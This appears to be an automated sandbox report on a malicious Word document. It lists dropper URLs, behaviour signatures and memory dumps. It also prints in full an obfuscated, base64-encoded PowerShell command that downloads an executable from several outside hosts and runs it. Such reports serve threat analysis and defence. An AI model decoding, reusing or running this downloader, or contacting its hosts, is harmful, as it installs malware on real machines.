Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
02/08/2026, 00:12
General
- Target PO_08232020EX.doc
- Size 238KB
- Sample260802-ahk2razglc
- SHA256 493fbab43b8eaf0772394866842fa9474e8e54a84894498828af06590dff1cbd
Malware Config
Extracted
-
ps1
-
exe.dropper
http://saimission.org/sai/fU/
-
exe.dropper
https://toprakmedia.com/cgi-bin/F/
-
exe.dropper
http://tonmeister-berlin.de/Dokumente/Zqmb3/
-
exe.dropper
http://www.essand.com/test/SOx5LA/
-
exe.dropper
http://gzamora.es/9s52_ou17husakvth9fs_resource/sFe3aa/
-
exe.dropper
http://powerfrog.net/Anna/ifqE/
-
exe.dropper
http://sasystemsuk.com/recruit/H/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO_08232020EX.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABQAGIAZABiAGQAdQA0AD0AKAAnAFYAcgB6ACcAKwAnAHMAdQBuAGcAJwApADsAJgAoACcAbgBlACcAKwAnAHcAJwArACcALQBpAHQAZQBtACcAKQAgACQARQBOAHYAOgB0AGUATQBwAFwAbwBmAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAcgBgAEkAdABZAGAAUAByAE8AYABUAE8AYwBPAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0AGwAcwAnACsAJwAxACcAKwAnADEALAAgAHQAbABzACcAKQA7ACQARwB4AHcAawA5AG4AMwAgAD0AIAAoACcAVgBxAGkAbwA0ACcAKwAnADMAJwArACcAMAAnACkAOwAkAE4AawBoAHMAbABnADUAPQAoACcATABqACcAKwAnAG0AOQBtACcAKwAnAG0AeAAnACkAOwAkAEUAbQB3AG8ANQBvAHYAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGsAegBFACcAKwAnAE8AZgBmACcAKwAnAGkAYwBlACcAKwAnADIAMAAxADkAJwArACcAawB6AEUAJwApAC4AIgBSAGUAUABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABBAHIAXQAxADAANwArAFsAYwBoAEEAcgBdADEAMgAyACsAWwBjAGgAQQByAF0ANgA5ACkALAAnAFwAJwApACkAKwAkAEcAeAB3AGsAOQBuADMAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAE8AZAB1AG0AMQBjAG4APQAoACcATAAnACsAJwBmACcAKwAnAHEAcgBmAG8AMwAnACkAOwAkAFgAaABnAG8AMQBwAGYAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBOAFQAOwAkAEsAYwBnAHAAZQA5AHEAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwBzACcAKwAnAGEAJwArACcAaQBtAGkAJwArACcAcwBzAGkAbwBuAC4AJwArACcAbwByAGcALwAnACsAJwBzACcAKwAnAGEAaQAvACcAKwAnAGYAVQAvACoAaAB0AHQAcABzADoALwAvAHQAbwBwAHIAYQBrAG0AJwArACcAZQBkAGkAYQAuAGMAbwBtAC8AYwAnACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiAGkAJwArACcAbgAnACsAJwAvAEYAJwArACcALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AdABvAG4AbQBlACcAKwAnAGkAcwAnACsAJwB0AGUAcgAtAGIAZQAnACsAJwByAGwAJwArACcAaQBuAC4AZABlACcAKwAnAC8ARAAnACsAJwBvACcAKwAnAGsAdQBtACcAKwAnAGUAbgB0AGUALwBaAHEAJwArACcAbQAnACsAJwBiADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AdwAnACsAJwB3ACcAKwAnAHcAJwArACcALgBlAHMAcwAnACsAJwBhAG4AZAAnACsAJwAuACcAKwAnAGMAbwBtACcAKwAnAC8AJwArACcAdAAnACsAJwBlAHMAdAAvAFMATwAnACsAJwB4ADUAJwArACcATABBAC8AKgBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvACcAKwAnAGcAegAnACsAJwBhAG0AJwArACcAbwByAGEAJwArACcALgBlAHMALwA5AHMANQAyAF8AJwArACcAbwAnACsAJwB1ADEAJwArACcANwBoAHUAcwBhACcAKwAnAGsAdgB0ACcAKwAnAGgAJwArACcAOQBmAHMAXwByAGUAcwBvACcAKwAnAHUAJwArACcAcgAnACsAJwBjAGUALwBzAEYAZQAnACsAJwAzAGEAYQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBwAG8AdwBlAHIAZgByACcAKwAnAG8AZwAuAG4AZQB0AC8AJwArACcAQQBuACcAKwAnAG4AYQAvAGkAZgBxAEUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAHMAeQBzAHQAZQAnACsAJwBtACcAKwAnAHMAJwArACcAdQBrAC4AYwBvAG0ALwAnACsAJwByAGUAYwAnACsAJwByAHUAaQAnACsAJwB0AC8AJwArACcASAAnACsAJwAvACcAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABCAGUAdAA1AG4AawBoAD0AKAAnAFEAJwArACcAdgBjAGwAYQBqAGYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQBpADQAMAAwAHAAbgAgAGkAbgAgACQASwBjAGcAcABlADkAcQApAHsAdAByAHkAewAkAFgAaABnAG8AMQBwAGYALgAiAGQAYABPAHcAYABOAEwAbwBgAEEAZABmAGkAbABlACIAKAAkAE0AaQA0ADAAMABwAG4ALAAgACQARQBtAHcAbwA1AG8AdgApADsAJABVAHgANgB6AGgAdwBrAD0AKAAnAFgAJwArACcAbQBiACcAKwAnAGcAMgBtADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUAbQB3AG8ANQBvAHYAKQAuACIATABgAGUATgBnAHQAaAAiACAALQBnAGUAIAAyADEAMgA2ADIAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQARQBtAHcAbwA1AG8AdgApADsAJABOADYAaAA0ADUAaQBqAD0AKAAnAFgAMQBlAF8AYwAnACsAJwA2ACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABZAHoAdAB0AGMAeABxAD0AKAAnAEMAOABiAGoAYQAnACsAJwA4AGsAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADUAdABvADkAMQAwAD0AKAAnAFAAJwArACcANABrADgAJwArACcAZgBxADYAJwApAA==1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
memory/3868-66-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-549-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-4-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-3-0x00007FFDADCBF000-0x00007FFDADCC0000-memory.dmp
memory/3868-5-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-7-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-9-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-6-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-11-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-95-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-8-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-12-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-13-0x00007FFD6AF70000-0x00007FFD6AF80000-memory.dmp
memory/3868-14-0x00007FFD6AF70000-0x00007FFD6AF80000-memory.dmp
memory/3868-20-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-21-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-42-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-43-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-52-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-53-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-55-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-54-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-56-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-65-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-83-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-0-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-2-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-85-0x000001A7795C0000-0x000001A7796B0000-memory.dmp
memory/3868-10-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-554-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-553-0x000001A7795C0000-0x000001A7796B0000-memory.dmp
memory/3868-550-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-551-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-552-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-92-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-1-0x00007FFD6DCA0000-0x00007FFD6DCB0000-memory.dmp
memory/3868-97-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/3868-96-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-98-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-67-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-75-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-76-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-70-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-69-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-72-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-68-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-81-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-77-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-82-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-84-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-78-0x00000271A1A10000-0x00000271A1A32000-memory.dmp
memory/4268-74-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-73-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp
memory/4268-71-0x00007FFDADB60000-0x00007FFDADDC3000-memory.dmp